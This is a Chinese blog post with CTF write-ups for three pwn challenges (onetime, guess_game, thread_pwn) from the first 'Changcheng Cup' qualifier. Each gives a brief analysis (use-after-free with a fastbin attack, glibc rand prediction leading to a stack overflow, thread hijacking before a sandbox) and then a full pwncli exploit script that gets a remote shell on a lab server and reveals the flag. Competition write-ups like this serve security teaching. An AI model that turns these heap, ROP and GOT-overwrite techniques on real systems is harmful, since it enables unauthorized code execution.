第一届“长城杯”信息安全铁人三项赛初赛-第四场-pwn-all

第一届“长城杯”信息安全铁人三项赛初赛-第四场-pwn-all

这次打了个第二。半决赛因为有事,去不了,等队友带我进总决赛了。

onetime

逆向分析

经典菜单堆,free分支存在uaf,然后第五个分支和第一个分支可以达成fastbin attack

漏洞利用

利用fastbin attack申请0x60208d,然后修改分支判断变量与p指针,做到利用show分支泄露和修改atoisystem进行getshell

EXP

运行:./exp.py re ./onetime 192.168.17.127 7777攻击远程

#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2024-03-31 14:50:42
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
    flag{606e1f4dfd993eb94675ac02e6e39541}

'''

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

if gift.remote:
    libc = ELF("./onetime.so")
    gift[libc] = libc


def cmd(i, prompt='your choice >>'):
    sla(prompt, str(i))

def add():
    cmd('1')
    #......

def edit(pd):
    cmd('2')
    sa('l content:',pd)
    #......

def show():
    cmd('3')
    #......

def dele():
    cmd('4')
    #......

def magic(pd):
    cmd('5')
    sa('e your name:',pd)


add()
dele()
edit(flat(
    {
        0x0:0x60208d
    }
))
add()
#0x6020a0
pd = b'aaa'
pd+=flat(
    {
        0x0:[
            0,
            elf.got.atoi,
            0,0
            ]

    }
)
magic(pd)
'''
pwndbg> tele 0x6020a0
00:0000│  0x6020a0 (has2) ◂— 0xdeadbeef
01:0008│  0x6020a8 (p) —▸ 0x60209d ◂— 0xdeadbeef616161
02:0010│  0x6020b0 (has4) ◂— 0x1
03:0018│  0x6020b8 (has1) ◂— 0x100000001
04:0020│  0x6020c0 ◂— 0x0
... ↓     3 skipped
pwndbg> 
08:0040│  0x6020e0 ◂— 0x0
... ↓     7 skipped

'''
show()
lb = recv_current_libc_addr(libc.sym.atoi,0x10)
leak_ex2(lb)
libc.address = lb
edit(flat(
    {
        0:libc.sym.system
    }
))
sl('$0')


ia()


FLAG

flag{606e1f4dfd993eb94675ac02e6e39541}

guess_game

逆向分析

进去对main函数按p,然后把地址0x4015340x401546的垃圾数据都nop掉,就可以看出程序就是玩游戏,玩对给一个栈溢出。但是4次机会是猜不对的。因此我们可以输入6泄露rand函数的返回值值,然后利用rand函数的缺陷。如下:

● 参考Peter Selinger: The GLIBC pseudo-random number generator (dal.ca) 
o[n] == o[n-31] + o[n-3]
o[n] == o[n-31] + o[n-3] + 1
 
如果能多次泄露,将产生的数记录在数组leaknum中,可通过leaknum[i ] = leaknum[i-31] + leaknum[i-3] / leaknum[i ] = leaknum[i-31] + leaknum[i-3] + 1预测。(i为数组下标,从0开始) 

来预测rand的返回值,从而触发栈溢出

漏洞利用

栈溢出,但是发现gadget只有:

0x000000000040125d : pop rbp ; ret
0x0000000000401540 : pop rbx ; ret
0x0000000000401543 : pop rdx ; ret
0x000000000040153d : pop rsi ; ret

由此联想到利用magic gadget修改got然后执行ogg

magic gadget如下:

pwndbg> x/10i 0x000000000040125c
   0x40125c:	add    DWORD PTR [rbp-0x3d],ebx
   0x40125f:	nop
   0x401260:	ret    

EXP

运行:./exp.py re ./pwn 192.168.17.127 8888,跑不通多跑几次

#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2024-03-31 14:06:41
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
    flag{f68dad953b9708da575d07faf43f77db}

'''

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

if gift.remote:
    libc = ELF("./libc.so.6")
    gift[libc] = libc

def magic():
    sla('guess number?[y/n]','6')
    sla('Give Up? [y/n]','y')
    ru('you are a loser,the number is ')
    leak_num = int(rl()[:-1],16)
    sla('continue guess?','y')
    return leak_num

def game():
    sla('guess number?[y/n]','y')
    for i in range(5):
        sla(':',str(i))
num = []

for i in range(31):
    game()
    num.append(magic())

magic_num = num[0]+num[31-3]
print(magic_num)
sla('guess number?[y/n]','y')
sla(':',str(magic_num))
CG.set_find_area(1,0)

'''
pwndbg> x/10i 0x000000000040125c
   0x40125c:	add    DWORD PTR [rbp-0x3d],ebx
   0x40125f:	nop
   0x401260:	ret    

0x000000000040125d : pop rbp ; ret
0x0000000000401540 : pop rbx ; ret
0x0000000000401543 : pop rdx ; ret
0x000000000040153d : pop rsi ; ret

0xeacec execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xeacef execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xeacf2 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL


'''
pop_rbp = 0x000000000040125d
pop_rbx = 0x0000000000401540
pop_rdx = 0x0000000000401543
pop_rsi = 0x000000000040153d

ogg = 0xeacf2
offset = ogg - libc.sym.puts if ogg > libc.sym.puts else ogg - libc.sym.puts + 0x100000000

null_ptr = elf.bss()+0x800
pd = flat(
    {
        72:[pop_rbp,
            elf.got.puts+0x3d,
            pop_rbx,
            offset,
            0x000000000040125c,
            pop_rsi,
            null_ptr,
            pop_rdx,
            null_ptr,
            elf.plt.puts]
    }
)

sla('get it,you win!',pd)
'''cyc = 0
for i in num:
    print("The " + str(cyc) + "Num :" + str(i))
    cyc = cyc + 1
    '''
ia()
'''leaknum[32] = leaknum[1] + leaknum[32-3]'''

FLAG

flag{f68dad953b9708da575d07faf43f77db}

thread_pwn

逆向分析

我在上一年buuoj-2023六月挑战赛做过一样的,叫A dream,我还写过wp在我的博客园里。。。

程序在开启沙箱前打开了一个线程,劫持该线程即可:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF

  sub_401256(a1, a2, a3);
  puts("Welcome ,do you know threads?");
  pthread_create(&newthread, 0LL, start_routine, 0LL);
  sub_4014AD();
  return 0LL;
}

漏洞利用

  • 首先栈迁移泄露libc地址,详细点击这里
  • 利用magic_read0x4014BE)和ret2csu,获得布置栈空间的能力
  • 利用系统调用构造循环read不断往线程栈输入payload

EXP

运行./exp.py re ./thread_pwn 192.168.17.127 9999即可

#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2024-03-31 13:08:15
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
'''
#flag{c79f2facb69cc53d6ca2b3de7957a827}

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

CG.set_find_area(1,0)
pd = flat(
    {
        72-0x8:[
            0x4041c0,
            0x4014BE]
    }
)
s(pd)

sleep(1)
pd = flat(
    {
        0:[
            0x40158A,
            0,1,0,0x4041c0,0x100,elf.got.read,0x401570
        ],
        0x50-0x10:[
            0x404180-8,
            CG.leave_ret()]
    }
)
s(pd)
sleep(1)


pd = flat(
    {
        56:[
            0x0000000000401593,
            1,
            0x0000000000401591,
            elf.got.read,
            0,
            elf.plt.write,
            #0x404230
            0x0000000000401593,
            0,
            0x0000000000401591,
            0x404230-0x20+0x48,
            0,
            elf.plt.read,

        ]
    }
)
sl(pd)
lb = recv_current_libc_addr(0x205380,0x10)
leak_ex2(lb)

libc.address = lb
tstack = lb - 0x4110
leak_ex2(tstack)

CG.set_find_area(1,1)
cyc_pd = flat(
    {
        0x0:[
            CG.read_chain(0,tstack-0x10,0x100),
            CG.pop_rbp_ret(),
            0x404258-0x8,
            CG.leave_ret(),
        ]
    }
)
sleep(1)

sl(cyc_pd)
pd = flat(
    {
        0x0:[
            [CG.ret()]*0x10
        ],
        0x80:CG.execve_chain()
    }
)

for i in range(8):
    sleep(0.5)
    sl(pd)

ia()


FLAG

flag{c79f2facb69cc53d6ca2b3de7957a827}

posted @ 2024-04-02 15:01  7resp4ss  阅读(725)  评论(7编辑  收藏  举报